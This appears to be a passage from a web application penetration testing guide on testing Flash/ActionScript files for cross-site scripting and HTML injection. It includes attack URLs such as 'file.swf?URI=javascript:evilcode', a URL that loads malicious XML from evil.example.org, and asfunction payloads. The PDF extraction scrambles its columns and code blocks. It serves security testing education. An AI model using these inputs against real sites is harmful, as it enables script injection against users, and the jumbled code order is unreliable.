1BO4r2U

195 196
Web Application Penetration Testing
Web Application Penetration Testing
cabs/flash/swflash.cab#version=9,0,124,0”>
FlashVars can also be initialized from the URL:
http:/www.example.org/somefilename.swf?var1=val1&-
var2=val2
text;
while (v2 < v3.length) {
Locale.strings[v3[v2]._resname] = v3[v2].source.__
++v2;
}
on_load();
} else {}
};
if (_root.language != undefined) {
Locale.DEFAULT_LANG = _root.language;
}
v5.load(Locale.DEFAULT_LANG + ‘/player_’ +
Locale.DEFAULT_LANG + ‘.xml’);
};
This is because in this situation the browser will self-generate an
HTML page as if it were hosted by the victim host.
XSS
GetURL (AS2) / NavigateToURL (AS3):
The GetURL function in ActionScript 2.0 and NavigateToURL in ActionScript
3.0 lets the movie load a URI into the browser’s window.
So if an undefined variable is used as the first argument for getURL:
getURL(_root.URI,’_targetFrame’);
Or if a FlashVar is used as the parameter that is passed to a navigateToURL
function:
ExternalInterface:
ExternalInterface.call is a static method introduced by Adobe to improve
player/browser interaction for both ActionScript 2.0 and ActionScript
3.0.
From a security point of view it could be abused when part of its argument
could be controlled:
flash.external.ExternalInterface.call(_root.callback);
the attack pattern for this kind of flaw should be something like the
following:
eval(evilcode)
In ActionScript 3.0, a developer must explicitly assign the FlashVar
values to local variables. Typically, this looks like:
var paramObj:Object = LoaderInfo(this.root.loaderInfo).parameters;
var var1:String = String(paramObj[“var1”]);
var var2:String = String(paramObj[“var2”]);
In ActionScript 2.0, any uninitialized global variable is assumed to be
a FlashVar. Global variables are those variables that are prepended
by _root, _global or _level0. This means that if an attribute like:
The above code could be attacked by requesting:
http:/victim/file.swf?language=http:/evil.example.org/malicious.xml?
Unsafe Methods
When an entry point is identified, the data it represents could be
used by unsafe methods. If the data is not filtered/validated using
the right regexp it could lead to some security issue.
Unsafe Methods since version r47 are:
var request:URLRequest = new URLRequest(FlashVarSuppliedURL);
navigateToURL(request);
Then this will mean it’s possible to call JavaScript in the same domain
where the movie is hosted by requesting:
http:/victim/file.swf?URI=javascript:evilcode
getURL(‘javascript:evilcode’,’_self’);
since the internal JavaScript which is executed by the browser will be
something similar to:
eval(‘try { __flash__toXML(‘+__root.callback+’) ; } catch (e) {
“”; }’)
HTML Injection
TextField Objects can render minimal HTML by setting:
tf.html = true
tf.htmlText = ‘text’
_root.varname
is undefined throughout the code flow, it could be overwritten by
setting
http:/victim/file.swf?varname=value
Regardless of whether you are looking at ActionScript 2.0 or Action-
Script 3.0, FlashVars can be a vector of attack. Let’s look at some ActionScript
2.0 code that is vulnerable:
Example:
movieClip 328 __Packages.Locale {
loadVariables()
loadMovie()
getURL()
loadMovie()
loadMovieNum()
FScrollPane.loadScrollContent()
LoadVars.load
LoadVars.send
XML.load ( ‘url’ )
LoadVars.load ( ‘url’ )
Sound.loadSound( ‘url’ , isStreaming );
NetStream.play( ‘url’ );
flash.external.ExternalInterface.call(_root.callback)
htmlText
The same when only some part of getURL is controlled:
Dom Injection with Flash JavaScript injection
getUrl(‘javascript:function(‘+_root.arg+’))
asfunction:
You can use the special asfunction protocol to cause the link to execute
an ActionScript function in a SWF file instead of opening a URL.
Until release Flash Player 9 r48 asfunction could be used on every
method which has a URL as an argument. After that release, asfunction
was restricted to use within an HTML TextField.
This means that a tester could try to inject:
asfunction:getURL,javascript:evilcode
So if some part of text could be controlled by the tester, an A tag or
an IMG tag could be injected resulting in modifying the GUI or XSS
the browser.
Some attack examples with A Tag:
• Direct XSS:
• Call a function:
• Call SWF public functions:
• Call native static as function:
#initclip
if (!_global.Locale) {
var v1 = function (on_load) {
var v5 = new XML();
var v6 = this;
v5.onLoad = function (success) {
if (success) {
trace(‘Locale loaded xml’);
var v3 = this.xliff.file.body.$trans_unit;
var v2 = 0;
The Test
In order to exploit a vulnerability, the swf file should be hosted on
the victim’s host, and the techniques of reflected XSS must be used.
That is forcing the browser to load a pure swf file directly in the location
bar (by redirection or social engineering) or by loading it through
an iframe from an evil page:
in every unsafe method like:
loadMovie(_root.URL)
by requesting:
http:/victim/file.swf?URL=asfunction:getURL,javascript:evilcode
IMG tag could be used as well:
(.swf is necessary to
bypass flash player internal filter)
Note: since release Flash Player 9.0.124.0 of Flash player XSS is no
longer exploitable, but GUI modification could still be accomplished.